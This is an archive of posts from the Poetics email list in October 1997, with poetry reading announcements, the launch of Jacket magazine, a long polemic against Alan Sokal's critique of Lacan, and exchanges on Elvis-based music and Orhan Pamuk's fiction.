> at the Outrigger Canoe Club,
> listening to the waves,
> and the names of children
> being called . . . "Joy!" and "Milo!"

How sweet. Of course coconuts are cut down so early and often here (they are dangerous to one's health, if they fall), that no one could get sick of them.

The poem concludes with a long passage about how this woman misses her work; there's simply nothing to do in Hawai'i except listen for the sounds of "Joy!" and drive around. No help anywhere, save perhaps from the good Lord:

> Lord, let us have something
> to read. For there is no one
> to talk to: only the sand
> and a clatter of dishes,
> the flapping of umbrellas,
> and shadows of the afternoon.

I'd better cut this message short. I have three classes to prepare for, need to read a 500 page novel this weekend for the personnel committee that I'm on, have to ship out more issues of my journal of Pacific poetry, which includes a lot of work by people from H, need to recover from a week that saw a Tinfish reading and a thesis defense by a graduate student who works with me. awai'i. And what the hell, I may even take a walk. The weather really is lovely today over those mountains that are to the south of me...

Susan
Kane'ohe, Hawai'i

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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527. Susan Schultz
Louis Simpson, ps
Sat 25 Oct 1997

There were a couple of glitches in my message, due to the tendency of my telnet account to make word salad. I trust that the sense survives, however.

sms

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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528. Aldon Nielsen
Re: Louis Simpson, ps
Sat 25 Oct 1997

delighted to be one of the tinfish swimming in the aquarium -- a good issue all around -- thanks again

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529. John Tranter
Jacket magazine # 1 and # 2
Sat 25 Oct 1997

Announcement: The first issue of John Tranter's Jacket magazine is complete and has been posted to the Internet at

> http://www.jacket.zip.com.au

It's free, international, full of stylish writing, and user-friendly.

Jacket # 1 contains a look at the 1943 hoax poet Ern Malley with rare photos, writing by Charles Bernstein, Elaine Equi, Pamela Brown, Alfred Corn, Joanne Burns, Tracy Ryan, Carl Rakosi, Peter Minter, Susan Schultz, Ron Koertge, Beth Spencer, and Paul Hoover, interviews with English poet Roy Fisher and Australian aboriginal poet Lionel Fogarty, reviews of John Berger and Les Murray, and the poetry and prose of the late Martin Johnston.

Jacket # 2 will mainly feature the work of John Ashbery, who turns 70 this year, but there will be lots of other material as well. It will be finalised by January 1998, but right now you can preview the following:

... a new poem by John Ashbery, "The Burden of the Park" ... Marjorie Perloff on "Normalizing John Ashbery" ... John Tranter's "Three John Ashberys" (an Introduction to Ashbery's work) ... Steve Evans's meditation of Bob Perelman's "The Marginalization of Poetry", an article on type, and poems by Eileen Myles, August Kleinzahler, Robert Adamson, S.K.Kelen, John Kinsella and Michael Heller, together with sparkling photos of the usual suspects.

Jacket also features a LITERARY LINKS page with annotated connections to print and electronic magazines, and an international BOOKSTORE page with a host of useful information and live links. Also a page of tips on Internet DESIGN (how to avoid rendering your visitors unconscious with boredom), with a few secret passageways to the Caves of the Webmeisters.

I'm sorry to have to say that I am not yet able to handle or accept unsolicited submissions -- I simply don't have the time. Maybe by 1998.

And please excuse the following flagrant and desperate attempt to attract extra audience members for three poetry-reading appearances in the Northern Hemisphere by John Tranter:

Saturday 2 November, 9 p.m., Club Room, Churchill College, Cambridge University (ENGLAND) with Tracy Ryan, Michael Hulse, and Michael Schmidt. Contact Tim Cribb Tel. 01223 336 194 or John Kinsella e-mail [redacted]

Monday 24 November, 7:30 pm, at KGB, 85 East 4th Street, East Village, NEW YORK. Reading with Geoffrey O’Brien. Organisers David Lehman and Star Black.

Saturday 29 November, 7:30 pm, New College Cultural Center, 776 Valencia Street, SAN FRANCISCO. Reading with New York poet Tim Davis. Organiser: Dodie Bellamy, Small Press Traffic Literary Arts Center.

Please tell your friends about Jacket, whose motto is
"bop till you drop!"

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
Editor, Jacket magazine: http://www.jacket.zip.com.au

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530. Alan rm -r Sondheim
Reading
Sun 26 Oct 1997

This Thursday, October 30th, at 7:00, I'm doing a reading with David Bromige as part of the Poetry City series at Teachers and Writers, 5 Union Square West, 7th Floor. You can call for information at 212- [redacted]. Union Square West is around 14th Street and University. There are many subway and bus stops nearby.

Now, I may be fairly inarticulate because I am doing Jennifer and Julu and they are not there and I have to use a Mac with voices which are not theirs either, you see? And I am afraid they might not like that, but they are buried at the moment deep in my linux box which I am putting into storage because I am going to Fukuoka the next morning, so I will not be around to revive them.

So this will be an odd experiment on the hinge of time and avatar, which will most certainly succeed where it will fail, and fail where it will succeed. In any case, you could come and see what I look like, on the virge.

Alan

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531. Rob Hardin
The Films of Henry Hills at the Anthology Film Archives
Sun 26 Oct 1997

Just saw a few of the films of Henry Hills after having watched W. Has's _The Saragossa Manuscript_. I am still absorbing the grotesque beauty of Has's films as we speak; but I thought it perhaps more germaine to this list to speak of Hills's films.

I particularly enjoyed Hills's collaborations with Sally Silvers. Even in Hills's
other films, virtuosic editing and humor were everywhere present. Still, the other
films seemed to exist in a kind of post-narrrative purgatory--in a realm between
Abigail Child and, say, Aram Avakian's _The End of the Road_.

"Insufficiently synthetic" is a phrase I seem to remember from Charles Bernstein. This phrase accurately describes Hills's film, _Money_ (1985), which included hocket-staccatoed performances by Bernstein and other members of LP's sporadic cast. The editing was riveting, of course, but the content seemed mere static documentary--whereas in Hills's collaborations with Silver, such as

Mysteries of the Brain (1997) and _Little Lieutenant_ (1993), both macrostructure and microstructure felt consistently rich and engaging.

Some elements of conventional narrative seem to survive in Hills's films and, oddly, these elements would seem to detract from Hill's many virtues. So long as the abstract grid of dance is present, he does not falter, and feels some overriding rhythm, some pan-narrative, that is capable of propelling several correlates through measured time. But when Hill's material is merely cumulative, and the task at hand becomes merely technical, as it seems to do in Money, then the work seems reduced to pyrotechnics, and cries for the semantic resonance of an Abigail Child.

I don't mean to put down Hills here--his films were consistently witty and entertaining. But the viewer who is concerned with questions of form might find more fecund innovations in Hills's collaborations, and in the work of his contemporaries, than in Hills's minor works.

All the best,

Scrypt

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532. David R. Israel
several absurds
Sun 26 Oct 1997

[was, Re: sonnets and certainty]

Playing a bit of list catchup here, wayback on Wed, 22 Oct 1997

quoth Jordan Davis --

> *It is absurd to discuss form with formalists. Formalists by definition know nothing about form . . .*

following this model:

It is absurd to discuss biology with biologists. Biologists by definition know nothing about biology.

It is absurd to discuss agriculture with agriculturalists. Agriculturalists by definition know nothing about agricultur[al].

It is absurd to discuss method with Methodists. Methodists by definition know nothing about method.

It is absurd to discuss reduction with reductionists. Reductionists by definition know nothing about reduction.

It is absurd to discuss Marx with Marxists. Marxists by definition know nothing about Marx.

It is absurd to discuss minimal with minimalists. Minimalists by definition know nothing about minimal.

It is absurd to discuss postmodernism with postmodernists. Postmodernists by definition know nothing about postmodernism.

(Well, must admit I wasn't reading in sequence nor (hence) did I quite follow the antecedent diologue, so am uncertain just what Jordan was wishing to say or -- indeed -- clarify. Hey, found language is found language.)

absurdly yours truly,
d.i.

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 .....
 ............
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   >    david   raphael   israel    <
   >>      washington  d.c.      <<
 | ▇▇▇▇▇▇▇   (home)
 | ▇▇▇▇▇▇▇      (office)
 ==========================
 |   thy centuries follow each other
 |   perfecting a small wild flower
 |                                (Tagore)
 ////////////////////////////////////////\\\\\/////
```

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533. **Ryan Whyte**
and
Sun 26 Oct 1997

---

silence works at the walls
mazes marked in, in
the same sourceless echo
across pediment, architrave

walls cover the face
when it opens open
depressed body turns
inward great hand

to the unwanted
silence works in the sheets

gold no longer an
economy, and, and

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534. **Marcella**
Talisman Benefit
Sun 26 Oct 1997

I just wanted to announce the Talisman Benefit (for those in NYC) at the Zinc Bar tonight, Sunday 10/26, at 6:15 pm. Readers: Eileen Myles, Michael Heller, Sean Killian, Lisa Jarnot, Charles Borkhuis, Chris Stroffolino, & Leonard Schwartz. The Zinc Bar is at 90 West Houston St. in a basement, so watch your feet.

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535. **Jordan Davis**
Re: several absurds
Sun 26 Oct 1997

David --

Quite good, but for full credit you would have had to spot that the following citation was not, as stated, from Wallace Stevens, but from Oscar Wilde.

Historians of prosody are one thing, and demagogues of form are another. I think I was just going for parody. I am more aware now that I ought not do that.

Thanks,
Jordan

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536. **Douglas Barbour**
Re: Louis Simpson
Sun 26 Oct 1997

Well, those quotes certainly make as strong a case as I've recently seen against 'travel poems.' It's always the attitude -- that 'I' am not like other tourists -- that gets me. All that anger, Susan: sad to have to waste it on such a stupid little poem...

==========
Douglas Barbour
Department of English

University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

is in the lead for All-Time Favorite American Poet with 4 votes, and a bunch of people, including Ron Silliman and Charles Bernstein, are tied for favorite living poet with two votes, each.

I continue to make little improvements to the site. The voting process, for instance, is easier now. And the voting slots are on the home page so you don't have to click anything to get to it. I stole the alphabet from the Poetry Center page for small presses and alphabetized the biographical entries, too. And incorporated a few suggestions into the survey, like a question on sexual orientation (which, of course, needn't be answered). I want people to have a chance to say everything they want to about themselves, and nothing they don't want to.

Six poems are on display, too.

I figure there have been about 100 visits to the site excluding mine over the past two weeks. I expect it to be a near-invisible attraction but interest to increase in it as more poets fill out survey forms. Anyhow, I hope for more survey responses.

Also, corrections and comments from those who have already sent me responses to the survey.

--Bob G.

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539. **David R. Israel**
Re: several absurds
Sun 26 Oct 1997

Hey, I'm lately reading Poetics in digest, so am currently blind as to what reply (if any) my brief remarks under the above-rubric'd rubric may've elicited in lo these past X number of hours. However, it occurs to me -- in re-glancing at Jordan Davis's sentence --

> *It is absurd to discuss form with formalists. Formalists by definition know nothing about form . . .*

that -- Egads! -- the locus classicus syntactically underlying same is obviously those crazy (that is, irrational) sentences of Mahayana Buddhist fame, wherein a whole bevy of metaphysical realities are defined in exactly that manner. In fact, weren't some of said, involved w/ matters of "form"? Hmmmm . . .

d.i.

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540. **James Brook**
ellen ullman, close to the machine
Sun 26 Oct 1997

Ellen Ullman, alumna of my anthology of a couple of years ago, Resisting the Virtual Life, has just published Close to the Machine: Technophilia and Its Discontents (City Lights), her memoir of a literate, political software engineer's life.

Andrei Codrescu's blurb is accurate: "This book is a little masterpiece, an exquisitely melancholy cry from a body disappearing into the machine. It is a wrenching swan-song for human beings. I have never read anything like it because nothing like it could have been written before. Here is the perfect way to say goodbye to the millenium."

You can see Ellen Ullman read aloud and gesticulate at the following locations:

San Francisco
Tues, Oct 28, 7:30 - 9PM: Modern Times
888 Valencia, SF, [redacted]

Palo Alto
Wed, Oct 29, 8 - 9:30 PM: Printer's Inc.
310 California Ave, Palo Alto
[redacted]

Mill Valley
Thurs, Oct 30, 7:30 - 9PM: Depot Bookstore and Cafe
87 Throckmorton Ave, Mill Valley [redacted]

Capitola
Mon, Nov 3, 7:30 - 9PM: Capitola Book Cafe
1475 41st Street, Capitola [redacted]

Minneapolis
Fri, Nov 7, 8PM: Hungry Mind Bookstore
1648 Grand Avenue, Minneapolis [redacted]

Iowa City
Tues, Nov 11, 8PM: Prairie Lights Book Shop
15 South Dubuque St. [redacted]

Seattle
Thurs, Nov 13, time?: Elliott Bay Book Store
101 South Main Street, [redacted]

Portland
Fri, Nov 14, 7:30 - 9PM: Powell's Books
1005 West Burnside, Portland [redacted]

LA (Santa Monica)
Wed, Nov 19, 7:30: Midnight Special
1318 Third St., Santa Monica [redacted]

NY
Tues, Dec 2, 7PM: Tower Books
383 Layfayette St, NY [redacted]

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541. **Herb Levy**
Re: Elvis poems
Sun 26 Oct 1997

David Israel wrote:

> *I'm not much of a fan of Elvis chic, but did enjoy that piece. Perhaps the method used was a bit like things that (say) Scott Johnson / Gavin Bryers / et al. have done -- at least sharing some of that likeable decontextualize / recontextualize a voice approach ...*
>
> *do poets here know of Scott Johnson's work of this type, I wonder? No doubt Herb Levy could do it better justice than I.*

I don't think I've heard the Kronos piece you mentioned, but iI'd guess it's by Michael Daugherty (whose name may be spelled with an "o" instead of that "a"). He's done many pieces based on pop culture figures.

There are at least two or three pieces based on Elvis' oeuvre. The earliest may be the best: Jim Tenney's Collage #1 (Blue Suede); though David Mahler's King of Angels is also very good. Both of these cut up, loop, slowdown, and otherwise alter Elvis' work through classic tape manipulation techniques (they were made well before digital sampling was developed). Mahler's piece ends with "the King" singing his own name through the wonders of technology. They're both available on CDs from the Artifact label: The Tenney disc is called Selected Works 1961-69; the Mahler disc is called Voice of the Poet (after another piece based on an interview with composer Ingram Marshall). These Web sites should have more information:

<http://www.artifact.com/>

<http://www.emf.org/>

Another, somewhat different approach to altering Elvis' sound can be heard on the John Oswald (no longer in print, never commercially available) Plunderphonics CD. On this disc Oswald used all manner of tape and digital technology to create new music from old. The Elvis track is called Don't & involves a bunch of overdubbed tracks on top of the original recordings. While the press run of this CD was ultimately destroyed (supposedly due to copyright infringement, but rumor has it that Michael Jackson's dislike of the cover collage placing his head on the body of a scantily clad woman had more ot do with it), the entire contents of the disc can be downloaded from the Internet. Here's the URL for an FTP site with these audio tracks. (Note that some of these files are very large and even on speedy university connections may take quite a while to download.)

<ftp://vorlon.mit.edu/pub/plunderphonic/>

This site has a lot of Oswald related material, including detailed information on his various Plunderphonics projects:

http://www.io.org/~vacuvox/x/plunder.html

I imagine there's other new music related to Elvis out there, that's all I can think of now.

> *d.i.*
> *.*
> *.....*

Herb Levy
[redacted]

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542. Stacie Slotnick
George Oppen's "A Kind of Garden: A Poem for my Sister"
Sun 26 Oct 1997

Fellow listmembers,

For a class presentation on the above poem, can anyone point me to any writing specifically on this poem? My research hasn't turned anything up. Thanks in advance.

Stacie Slotnick
[redacted]

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543. **simon**
Re: Elvis poems
Mon 27 Oct 1997

Just to finish the reference,

The short story collection with the lead story about Elvis is Janice Eidus' _The Celibacy Club_.

beth simon
assistant professor, linguistics and english
indiana university purdue university
[redacted]

↑ Index

544. **Michael Heller**
(no subject)
Mon 27 Oct 1997

READING AT POSMAN BOOKS,
1 University Place,
New York, NY

MICHAEL HELLER & ARMAND SCHWERNER

SUNDAY, NOVEMBER 2ND @ 3PM

↑ Index

545. **Safdie Joseph**
Re: Beyond Baroque Saturday night
Mon 27 Oct 1997

Would greatly appreciate, back-channel, any reports of scheduled Ed Dorn reading at Beyond Baroque in L.A. last Saturday -- including whether it happened or not!

Thanks in advance,

Joe Safdie

↑ Index

546. **Jack Foley**
SOKAL & LACAN
Mon 27 Oct 1997

I have obtained the following comment by Joe Brennan on the Sokal affair, which I offer to interested list members:

goliath again

"Flesh composed of suns! How can this be?"

`Do Crossword Puzzles'

Why is it when the officially sanctioned experts of the world step outside the cover of their specialties they tend to behave like sophomoric fops brandishing digital stilettos as if wielding death rays? It's an ignorance of some magnitude to think of Postmodernists, as Alan Sokal apparently does, as a monolithic lot; one can find within the collective body of their theoretical poetics a unity in word only; one finds innumerable divergent and/or opposed theoretical constructs and definitions. But it's as pointless to expect Postmodernists to produce a coherent manifesto as it was to have expected the Futurists, either the Russian or the Italian version, to have produced one. That colonies of critical scholars continue to find ever more elusive connections and nuances is due principally to the nature of the demands of scholarship, and reflects proofs presupposed by the rigor and the questions that produce them. It's within this closed space that strategies of scholastic determinism are played out, and for this reason theory can never do more than be subsumed by art. It should be perfectly clear by now that rational processes aren't necessary for the creation of art. Art arises from more heterogeneous sources, whether in an illiterate wood carver from Blowing Rock, N.C. or a depressed postmodern poet from Back Bay Boston. No one can predict in advance whence art will appear, fully grown, as a tear in the real.

The creative force that drives art isn't measured in speed, as that huckster Filippo Marinetti puts it, nor in Sokal's literary B.T.U.s; this force arises in the truth of the creation which captures it and causes it to be re-experienced over time. One needn't follow prescribed practices for this metamorphosis to occur; whether the first principles of a movement arise heuristically from the collective work or are logically deduced and imposed as practice has no lasting determining influence. It's for this reason that whenever particular ideas or techniques become formalized, the voices of those demanding recognition grow more and more insistent until they too take their place in the chorus line, destined one day to be similar objects of derision for the coming generations whose sensibilities refute the established order, either from outright defiance or from a general inability to follow. In this manner the force of art is continually renewed in the radical rediscovery of its iron truths. And by truth I don't mean that which exists within the true, but that which exists outside of it, unencumbered with contexts and proofs. There are truths revealed in art that dwarf even the loftiest of scientific discoveries; there's no rift between art and science that needs stitching up, a la Snow, they have nothing to do with each other. What's more absurd than the specter of a physicist like Sokal crawling

haphazardly among his equations searching for the ethereal substratum of his primordial soul?

The truth that art reveals has nothing to do with beginnings or ends, nor can it be contained within a series, or sets of series. Literary neophytes like Sokal can't begin to imagine the unshakable power of art as it regenerates itself in the very actions which annihilate it, and to understand that art can't be robbed of its tradition, or stand to have tradition stuffed down its throat. Apart from the ugly political implications inherent in Sokal's actions--who can deny his posture as that of a political operative?--his attacks on Postmodernism in whatever area are of no intellectual importance; he operates at the most vulgar level of metaphor, that of counting, and he is therefore defined by the blinders of his discretionary field. It doesn't occur to him there could be truths other than scientific proofs, and to which scientific methods can't provide access; his bias is that of a scientist and his demands for proofs are correspondent to that level. Thus he is able to impulsively seize upon literary or psychological references to science and denounce them as contrary to scientific understanding and application, and therefore worthless. Whether or not Stanley Fish & Company were taken in by his ruse is valid only at the level of "got'cha". Sokal's intent is not to point out inconsistencies or mistakes from a scientific viewpoint, but to discredit the postmodern movement as a viable area of literary study--hence the covert nature of his act. If he genuinely intends to make serious contributions to the development of postmodern criticism, he would simply point out the errors he detects and offer alternative strategies; instead he resorts to methods designed to humiliate and defrock those he perceives as leaders in the movement. There can be no sensible opposition to this conclusion except to claim that such tactics have a rich history in the long tradition of literature--a conclusion that falls somewhat short of a justification when one considers that book burning, ignorance, error, plagiarism, and outright lying also have rich histories in this same tradition. Still, his methods provide insights into his motives. It would be a coup of unimaginable proportions for intellectual yokels like Sokal to extend their narrow, hegemonic proofs into a field of truth in which they are both subordinate and unrecognized. Art and concepts of art are not reducible to specific scientific paradigms; although art's truths are momentary and elusive, they are also eternal and concrete, an accomplishment scientists can only dream of.

Expect the usual stale denials and pious outrage from Sokal and his cohorts, who drape themselves in appeals to integrity and character --as if such translucent qualities could hide their blatant toadyism. They may have integrity and character, but one would have to use the poetic equivalent of an electron microscope to see them. The chutzpa of such intellectual dilettantes throwing their weight around in this arena is surpassed only by the crude indifference their

masters display toward the work they produce; it's not necessary that Sokal ever get anything right, it's important that he exist as quotable opposition with which to bludgeon undesirable elements into submission and literally drive them underground. Anyone who fails to see in this tactic a basic characteristic of the Big Lie isn't paying attention. Sokal and kind are not engaging in sincere intellectual pursuits, they're out here as marauding night riders intent on burning out huge segments of our intellectual and artistic landscape. This isn't intended as a defense of postmodern thinkers of the Fish & Company school; they epitomize career academicians who are overly aggressive in both their professional and personal ambitions, and a fair amount of what they promote is silly. So what? Most theoretical thought in any field is laughable. No, this is a defense of artistic freedom against the increasing onslaught of right-wing financed whackos. And although it's the little fish of the universities currently on the hook, Sokal's real snag is that band of copernican thinkers that includes Freud, Lacan, Heidegger, Derrida and Foucault, authors whose works breathe dynamic change into modern epistemology. Those unfruitful to the whip of the scientific underpinning of so-called democratic capitalism must be purged from the universities and from scholarship. But literature isn't Sokal's only area of interest; I understand his latest target is none other than that freudian pariah of orthodox psychology, M. Jacques Lacan, himself. Well, not quite himself. I predict Sokal will discover that Lacan, although deceased, is a long way from dead.

The weakness in Sokal's critique of Lacan's psychoanalytic metaphor of the erect male organ is his demand that it conform to the laws of mathematics when in reality it can only be confirmed within the praxis defined by psychoanalysis, which Freud in his wisdom always insists on. Sokal's criticisms of the Lacanian metaphor are hilarious, for they have absolutely nothing to do with Lacan's meaning; the emperor may have new clothes, but one has to be able to see the emperor to know that. Sokal can't grasp the the significance of the Lacanian metaphor of the erect male organ because he doesn't have access to the theoretical framework that makes its truth manifest; it's a simple case of using numbers metaphorically. He doesn't realize that it's the metaphorical form of the equation, that of an imaginary number, that provides the context in which to locate the missing square root of minus one. This metaphor is entirely consistent within Lacan's formulations of the imaginary, which is where the subject of the unconscious is imprisoned. Should Sokal ever take the ten or fifteen years necessary to master Lacanian concepts, he might come to appreciate the level of humor that Lacan normally operates at, and should he attain this heady level, he'll have absolutely no problem pinpointing that missing piece, and his role in its loss. It never occurs to Sokal that although in mathematics one and one always makes two, in psychoanalysis, as in art, one and one might make a blooming neon penis, with or without a socket to plug into.

Psychoanalysis has absolutely no business submitting its constructs for verification from a field which is not of its blood. The proofs of psychoanalysis result from an attention to speech as language, and not from measurement. Scientific parameters exist at the limits of science, not at the limits of knowledge--known or potential--or of metaphor. And these remarks only apply to science at its paradigmatic ideal; the slavish way scientists now submit to corporate and governmental institutional control is dangerously skewing the intellectual playing field as never before. It's absolutely essential that one have read and understood Freud before one undertakes to read Lacan and have any chance whatsoever of making sense of what his thought portends; the richness of the Lacanian metaphor is to be found in the unique ways in which he combines meaningful elements from other disciplines to form a rebus, the solving of which lets one in on the discussion. Lacan, sensitive to the dangers inherent in any discussions of his subject, speaks in tongues so that those who do get it are those who should; if Sokal doesn't get it, it's because he wasn't meant to. To say something doesn't weigh what one's calculations say it should while not having the slightest notion of what one is weighing is considered in most circles to be idiotic. However, admonitions such as mine don't seem to register with Sokal, who's frequently seen in various combative postures of self-righteous confusion trying to explain away another crass stupidity, such as saying we show that if [Lacan] seems incomprehensible, it is for the very good reason that [he] has nothing to say. Not wrong, mind you, not even confused, but having no meaning at all! What intellectual arrogance. Not even Lacan's most ardent critics have accused him of having nothing to say. As someone who has taken the necessary preparation to read Lacan, I can say that in every instance of textual confusion, and there were an embarrassing number of such instances, I never once thought it was Lacan who didn't know what he was talking about, and indeed, when the scales of ignorance finally fell, they fell from my eyes and not Lacan's. You may appreciate the zeal with which I look forward to the full text of Sokal's latest sortie, whose potential for self-disaster is exponential to its length. The problem of not having sufficient command of the areas of expertise into which one is venturing turns out to be no problem at all, since Sokal's function is not one of honest intellectual research, but rather to prowl around and destroy all vestiges of opposition to the hegemonic authority of science to define the real.

Had Sokal made the effort to understand Lacan he might realize that when Lacan says he intends to raise psychoanalysis to the level of science, he doesn't intend to reduce it to a series of mathematical equations. He means he wants psychoanalysis to be as rigorous a discipline as mathematics, but not mathematics. It's critical that Lacan's equations find confirmation within the structure of psychoanalysis; it's within this space that the mathematics must add up. Lacanian equations aren't constructed, as Sokal so arrogantly assumes, to allow

journeymen mathematicians to see immediately the ephemeral structures of psychoanalysis; they're constructed to guide psychoanalysts through the conflicted unconscious of a human psyche. Sokal's tactics and conclusions exemplify the drone-like brutality of those who attempt to impose one field over another in an attempt to smother it into submission. At the theoretical level that positivists like Sokal operate, the only psychology that's possible is a general psychology faithful to the numbers that they support, a psychology more like obedience school than the lonely and often terrifying search for one's hidden identity that is the sole purview of psychoanalysis. It's all the difference between one who is spooning for metaphors in his soup dining with another who keeps shoving the check in his face. There's no benefit of the doubt in Sokal's approach, there's no search for the legitimacy of other points of view, there's not a milligram of honest scholarship; it is shot through with the same anti-intellectual bias that one finds at a suburban mixer. Sokal's attacks on Postmodernism reflect a neurotic overcompensation of a premonitory angst, which he shares with authors such as Norman Levitt, Paul Gross, Alan Bloom, Dinesh D'Souza and Francis Fukiyama, that if science is the most exact form of measurement and observation, it is at the same time the least. It's this fear that lurks behind a pedantic posture that's both reactionary and cranky. It's no accident that Lacan's formulation of an erect penis evokes such a blind denunciation; there's absolutely no justification to point the finger at Lacan for reducing the psyche to the phallic level when one can plainly see that schmeckles like Sokal do it to themselves.

October 14, 1997

↑ Index

547. **henry gould**
Re: SOKAL & LACAN
Mon 27 Oct 1997

---

yeah. in these troubled times, it's a good thing those measly craven scientists for the most part ignore what POSTMODERN ARTISTS are accomplishing way over their heads with their special languages & metaphors. & it's a good thing all POSTMODERN ARTISTS are MODERN LEONARDOS who UNDERSTAND puny science & can appropriate its language(s) at will. dare ya to cross that line, Sokal!! get back there in your lab & shut it in your philistine imagination!! - Henry Gould actually, it seems to me the trend for a while has been dependence by both "artists" and "scientists" on technology, for better & worse. I'm for the handmade. leave the mind out of it, whether natural or artificial. intelligence just causes a ruckus. think with your hands. better yet, don't think at all.

"silence is golden"
- King Midas

E. Montale gave a short talk on this subject in 1952 called "Solitude and the Artist" or something like that. still quite relevant. can be found in an appendix to MONTALE AND DANTE by Pipa.

↑ Index

548. **Herb Levy**
Re: friday's riddle
Mon 27 Oct 1997

If anyone's going to rush out to get the book, they'll have better luck looking for something Orhan Pamuk (who may or may not be an orphan).

As to the writing on bodies in the Black Book, it seems more of a confirmation of Weiner's methodology than use of her as a character.

Does any one know if Pamuk's prose is as formal in Turkish as the English translations? It's good, just kind of awkward reading.

Bests,

Herb

> *Since everybody's being very quiet...*
>
> *has anybody else noticed that the late Hannah Wiener is (in a certain sense)*
> *a character in Istanbul author Orphan Pamuk's novel THE BLACK BOOK?*
>
> *I've been saying we've been getting more byzantine for a long time...*
>
> *- Henry Gould*

Herb Levy
[redacted]

↑ Index

549. **mark weiss**
Re: SOKAL & LACAN
Mon 27 Oct 1997

I guess he's angry.

At 12:58 PM 10/27/97 -0500, you wrote:
>I have obtained the following comment by Joe Brennan on the Sokal affair,
>which I offer to interested list members:
>

>   goliath again
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>   `Do Crossword Puzzles'
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>cover of their specialties they tend to behave like sophomoric fops brandishing
>digital stilettos as if wielding death rays? It's an ignorance of some magnitude
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>lot; one can find within the collective body of their theoretical poetics a unity in
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>constructs and definitions. But it's as pointless to expect Postmodernists to
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>critical scholars continue to find ever more elusive connections and nuances is
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>closed space that strategies of scholastic determinism are played out, and for
>this reason theory can never do more than be subsumed by art. It should be
>perfectly clear by now that rational processes aren't necessary for the creation
>of art. Art arises from more heterogeneous sources, whether in an illiterate
>wood carver from Blowing Rock, N.C. or a depressed postmodern poet from
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>
>
>October 14, 1997
>
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↑ Index

550. **henry gould**
Re: friday's riddle
Mon 27 Oct 1997

On Mon, 27 Oct 1997 13:21:50 -0800 Herb Levy said:
>If anyone's going to rush out to get the book, they'll have better luck
>looking for something Orhan Pamuk (who may or may not be an orphan).
>
>As to the writing on bodies in the Black Book, it seems more of a
>confirmation of Weiner's methodology than use of her as a character.

Pamuk doesn't "use" HW as a character. If the Book of Istanbul is really the story of the West (cf. the Mt. Athos story in NY Times today, along with its obverse, the Stalin photobook) then HW strangely appears there. I wouldn't characterize Pamuk's ambiguous novel as a confirmation of anything in particular, unless it's what many novelists confirm: memory, ordinary life, writing. It's just that several main characters, including the protagonist, the protagonist-

narrator, and the alter-ego-protagonist, all read letters on people's faces as a sign/key to Mystery. (You might say this is the obverse of the "methodology" of the icon.)

Sorry for the typo. Yes, there's certainly no "p" on Pamuk's face. - Henry G.

↑ Index

551. **Peter Ganick**
Re: litpress.com
Mon 27 Oct 1997

---

hi chris---
thanks for including potes & poets
and a.bacus----
looks good---
out--
peter

↑ Index

552. **Peter Ganick**
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Mon 27 Oct 1997

---

sorry should have gone backchannel----

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↑ Index

553. **I'm cris cheek**
cris cheek seeking urgent forward to british poets list
Mon 27 Oct 1997

Hi, I'm in Buffalo (after terrific weekend in London, Ontario with Mike Kelleher, Eleni Stecopoulos, Scott Pound, Taylor Brady and Bill Howe at the Forest City Gallery - and shared guerilla gallery show at the Cornershop with Steve Mc-Caffery, performing Carnival panel 2 for the first time, you should have been there) and in tracking back to London to cap it with a reading tomorrow night

at SubVoicive have just been turned over at the airport by NorthWest Airlines mess. The NorthWest connection has blown out because of a flight delay and I've been forced to re-schedule - i'll miss the gig by about 12 hours.

Can anyone also signed onto British Poets please forward this message to that list asap. thanks

---
Huge apologies for urgent advisory note:

cris cheek will not be able to read at SubVoicive tonite (28/10) circumstances beyond his control, caused by Northwest Airlines scheduling sphagetti (they couldn't even get information from their own terminals in Detroit). Their complete failure to notify me of emerging problems their end. Sorry. I'll be rowing with them in the mornin, no doubt.

I'll contacting Sianed as soon as the hour is wakeable and advising her to cancel also. It seems too stupid for her to make the drive to London and back alone (child sitters and all such already arranged). Doesn't make sense.

Suggest wake or seance. Or collective exegesic oration of
'Double Sky Hope's Locker' text with howlings of interjection
- for Diana.

Again - massive apologies, and re-channeling of not
inconsiderable frustration.

love and love
cris

↑ Index

554. **jarnot**
Rodefer & Sharma reading
Tue 28 Oct 1997

For all in the New York City area,
don't forget to come out to the Poetry Project
on Wednesday night at 8:00
to see

Stephen Rodefer & Prageeta Sharma

that's 8:00
October 29th
at the Poetry Project
2nd Avenue & 10th Street
New York City

↑ Index

555. **Maria Damon**
Re: Rodefer & Sharma reading
Tue 28 Oct 1997

---

does anyone have a backchannel address or bibliography for prageeta sharma? thanks--md

At 11:24 AM -0500 10/28/97, [redacted] wrote:
>For all in the New York City area,
>don't forget to come out to the Poetry Project
>on Wednesday night at 8:00
>to see
>
>Stephen Rodefer & Prageeta Sharma
>
>that's 8:00
>October 29th
>at the Poetry Project
>2nd Avenue & 10th Street
>New York City

↑ Index

556. **p. durgin**
Boxkite
Tue 28 Oct 1997

Sorry to clog up the list with this, but I've a message for James Taylor of Boxkite in Australia --

James, your Clark book is going off today. Boxkite looks wonderful. And thanks. Patrick F. Durgin

|||[redacted]|||

_____

↑ Index

557. **Mark Prejsnar**
Mass disappearance
Tue 28 Oct 1997

Message from (to?) the twilight zone....

Both snail and e-mail to D. Bouchard and Mass. Ave. seem to be bouncing...For me at least.

Dan, you out there? Info anyone?

Mark Prejsnar
atlanta

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558. Brent Long
Frank Stanford Film to be shown in Chicago
Tue 28 Oct 1997

A film by the late poet Frank Stanford entitled, "It Wasn't A Dream, It Was A Flood", will be screened in Chicago, IL during the second week of November. This film was shot in 1975 and won the 1975 West Coast Film Festival Best Experimental Film award. It is also the only existing archive which has the late poet reading his own work. This is a rare opportunity and anyone interested can contact Jean Howard at the Chicago Council for the Arts or e-mail me at [redacted] for more information.

Brent Long

↑ Index

559. Bob Grumman
A Minor Item about Comprepoetica
Tue 28 Oct 1997

